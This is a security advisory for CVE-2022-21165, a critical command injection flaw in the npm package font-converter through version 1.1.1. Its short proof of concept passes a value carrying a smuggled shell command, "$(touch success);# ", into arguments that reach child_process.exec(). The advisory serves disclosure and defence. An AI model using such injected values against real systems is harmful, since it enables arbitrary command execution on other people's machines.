GHSA-g2c3-vwff-m3xr

Source

https://github.com/advisories/GHSA-g2c3-vwff-m3xr

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/08/GHSA-g2c3-vwff-m3xr/GHSA-g2c3-vwff-m3xr.json

JSON Data

https://api.test.osv.dev/v1/vulns/GHSA-g2c3-vwff-m3xr

Aliases

CVE-2022-21165

Published

2022-08-29T20:06:54Z

Modified

2024-04-22T23:42:11.510943Z

Severity

9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator

Summary

Font-Converter Vulnerable to Arbitrary Command Injection

Details

Overview

font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)

All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.

PoC

var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
    new PUT(x, x, x, x);
} catch (e) {
    console.log(e);
}

Database specific

{
    "nvd_published_at": "2022-08-29T05:15:00Z",
    "cwe_ids": [
        "CWE-77"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-22T23:17:12Z"
}

References

Affected packages

npm / font-converter

Package

Name: font-converter; View open source insights on deps.dev
Purl: pkg:npm/font-converter

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Last affected

1.1.1